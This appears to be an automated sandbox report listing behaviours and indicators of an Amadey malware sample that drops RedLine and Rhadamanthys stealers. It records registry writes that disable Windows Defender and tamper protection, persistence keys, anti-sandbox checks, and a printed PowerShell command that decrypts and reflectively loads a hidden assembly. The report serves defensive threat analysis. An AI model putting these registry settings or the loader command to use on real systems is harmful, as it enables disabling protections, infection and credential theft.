amadey | 75520c76a4051b2be15db8625f35d4c1c63d93686bf849e6fc67f4e62d2fd000

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

desto1.exedesto.exeloda.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	desto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	desto1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	desto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	desto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	desto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	desto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	loda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	desto1.exe

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2228 2560 rundll32.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2228	2560	rundll32.exe

RedLine payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000073001\buildee.exe	family_redline
behavioral2/memory/924-282-0x0000000000C10000-0x0000000000C2E000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\1000073001\buildee.exe	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

OwvtknErB0Wl.exeXandETC.exeupdater.exe

description	pid	process	target process
PID 3336 created 2808	3336	OwvtknErB0Wl.exe	taskhostw.exe
PID 2284 created 1032	2284	XandETC.exe	Explorer.EXE
PID 2284 created 1032	2284	XandETC.exe	Explorer.EXE
PID 2284 created 1032	2284	XandETC.exe	Explorer.EXE
PID 2284 created 1032	2284	XandETC.exe	Explorer.EXE
PID 11128 created 1032	11128	updater.exe	Explorer.EXE
PID 11128 created 1032	11128	updater.exe	Explorer.EXE
PID 11128 created 1032	11128	updater.exe	Explorer.EXE
PID 11128 created 1032	11128	updater.exe	Explorer.EXE

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

nonetrollplease.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ nonetrollplease.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

63 4624 powershell.exe
Downloads MZ/PE file

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	nonetrollplease.exe

flow	pid	process
63	4624	powershell.exe

Executes dropped EXE 26 IoCs

Processes:

nbveek.exeloda.exedesto1.exefermo1.exevarka1.exelove.exelove1.exefermo.exedesto.exelebro.exenbveek.exeOwvtknErB0Wl.exePlayer31.exenbveek.exenonetrollplease.exepb1111.execc.exeAcslq.exejn-17L.exebuildee.exerandom.exerandom.exeXandETC.exeAcslq.exenbveek.exeupdater.exe

pid	process
408	nbveek.exe
2844	loda.exe
4948	desto1.exe
4172	fermo1.exe
1944	varka1.exe
3696	love.exe
3848	love1.exe
4556	fermo.exe
3624	desto.exe
1580	lebro.exe
4332	nbveek.exe
3336	OwvtknErB0Wl.exe
4800	Player31.exe
4580	nbveek.exe
1936	nonetrollplease.exe
4440	pb1111.exe
1644	cc.exe
4208	Acslq.exe
4188	jn-17L.exe
924	buildee.exe
2236	random.exe
4088	random.exe
2284	XandETC.exe
7096	Acslq.exe
7568	nbveek.exe
11128	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\1000069001\pb1111.exe	vmprotect
behavioral2/memory/4440-252-0x0000000140000000-0x000000014061F000-memory.dmp	vmprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

nonetrollplease.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	nonetrollplease.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	nonetrollplease.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Acslq.exerandom.exetmp.exePlayer31.exenbveek.exenbveek.exejn-17L.exenbveek.exelebro.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Acslq.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	tmp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Player31.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	jn-17L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	lebro.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spykviya3dg.lnk powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spykviya3dg.lnk	powershell.exe

Loads dropped DLL 10 IoCs

Processes:

OwvtknErB0Wl.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid	process
3336	OwvtknErB0Wl.exe
316	rundll32.exe
1552	rundll32.exe
1620	rundll32.exe
528	rundll32.exe
3412	rundll32.exe
2152	rundll32.exe
1964	rundll32.exe
4900	rundll32.exe
4840	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

loda.exedesto1.exedesto.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	loda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	desto1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	desto.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

nbveek.exeAcslq.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fermo1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000051051\\fermo1.exe"	nbveek.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\varka1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000052051\\varka1.exe"	nbveek.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fermo.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000055051\\fermo.exe"	nbveek.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fmqkuuswyi = "\"C:\\Users\\Admin\\AppData\\Roaming\\Vmjahlk\\Fmqkuuswyi.exe\""	Acslq.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

nonetrollplease.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA nonetrollplease.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

28 api.ipify.org

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	nonetrollplease.exe

flow	ioc
28	api.ipify.org

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

love1.exefontview.exe

pid process

3848 love1.exe
3848 love1.exe
3848 love1.exe
1104 fontview.exe
1104 fontview.exe
1104 fontview.exe

pid	process
3848	love1.exe
3848	love1.exe
3848	love1.exe
1104	fontview.exe
1104	fontview.exe
1104	fontview.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

OwvtknErB0Wl.exenonetrollplease.exeAcslq.exe

description	pid	process	target process
PID 3336 set thread context of 212	3336	OwvtknErB0Wl.exe	ngentask.exe
PID 1936 set thread context of 4952	1936	nonetrollplease.exe	AppLaunch.exe
PID 4208 set thread context of 7096	4208	Acslq.exe	Acslq.exe

Drops file in Program Files directory 1 IoCs

Processes:

XandETC.exe

description ioc process

File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

8140 sc.exe
4152 sc.exe
14156 sc.exe
14204 sc.exe
4204 sc.exe
2356 sc.exe
1880 sc.exe
14128 sc.exe
14176 sc.exe
14228 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

pid	process
8140	sc.exe
4152	sc.exe
14156	sc.exe
14204	sc.exe
4204	sc.exe
2356	sc.exe
1880	sc.exe
14128	sc.exe
14176	sc.exe
14228	sc.exe

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2200	4948	WerFault.exe	desto1.exe
1116	1944	WerFault.exe	varka1.exe
4064	3624	WerFault.exe	desto.exe
1404	1644	WerFault.exe	cc.exe
3528	3336	WerFault.exe	OwvtknErB0Wl.exe
3064	3336	WerFault.exe	OwvtknErB0Wl.exe
1744	316	WerFault.exe	rundll32.exe
1544	1620	WerFault.exe	rundll32.exe
4576	2152	WerFault.exe	rundll32.exe
3964	4840	WerFault.exe	rundll32.exe
4480	7096	WerFault.exe	Acslq.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

love1.exefontview.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	love1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	love1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	love1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	love1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	fontview.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fontview.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	love1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	fontview.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fontview.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	fontview.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

ngentask.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ngentask.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ngentask.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

1464 schtasks.exe
1620 schtasks.exe
1404 schtasks.exe

pid	process
1464	schtasks.exe
1620	schtasks.exe
1404	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 7 IoCs

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\.uuw0jus4tz5\ = "cmwgfwxz1ui"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\cmwgfwxz1ui\shell\open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\cmwgfwxz1ui	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\cmwgfwxz1ui\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\cmwgfwxz1ui\shell\open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\cmwgfwxz1ui\shell\open\command\ = "powershell -command \"$A=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$A.Key=@([byte]43,40,34,231,152,221,253,185,62,148,240,241,99,206,96,33,14,60,169,236,234,238,30,154,71,251,34,196,130,93,105,193);$A.IV=@([byte]12,149,177,4,191,6,243,253,155,163,193,103,144,104,239,238);$F=[Convert]::FromBase64String([IO.File]::ReadAllText('C:\\Users\\Admin\\s1zq5lfytlz.uuw0jus4tz5'));[Reflection.Assembly]::Load($A.CreateDecryptor().TransformFinalBlock($F,0,$F.Length));[xF9MBhD11Uboko4.PbxDwsvP6fEK0qiF26sgtXEsvZYYfDOk56NDcpRwBQsm5JPMxpMT0PxTTSJxPvtdOqtePwvITy4GLpW8H]::SaDHVXEPeR09i1FG9E5Li7xIYPSH();\""	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\.uuw0jus4tz5	powershell.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 49 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	49	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

loda.exedesto1.exefermo1.exeOwvtknErB0Wl.exelove.exedesto.exevarka1.exefermo.exengentask.exepowershell.exe

pid	process
2844	loda.exe
2844	loda.exe
4948	desto1.exe
4948	desto1.exe
4172	fermo1.exe
4172	fermo1.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3696	love.exe
3696	love.exe
3624	desto.exe
3624	desto.exe
1944	varka1.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
3336	OwvtknErB0Wl.exe
4556	fermo.exe
212	ngentask.exe
212	ngentask.exe
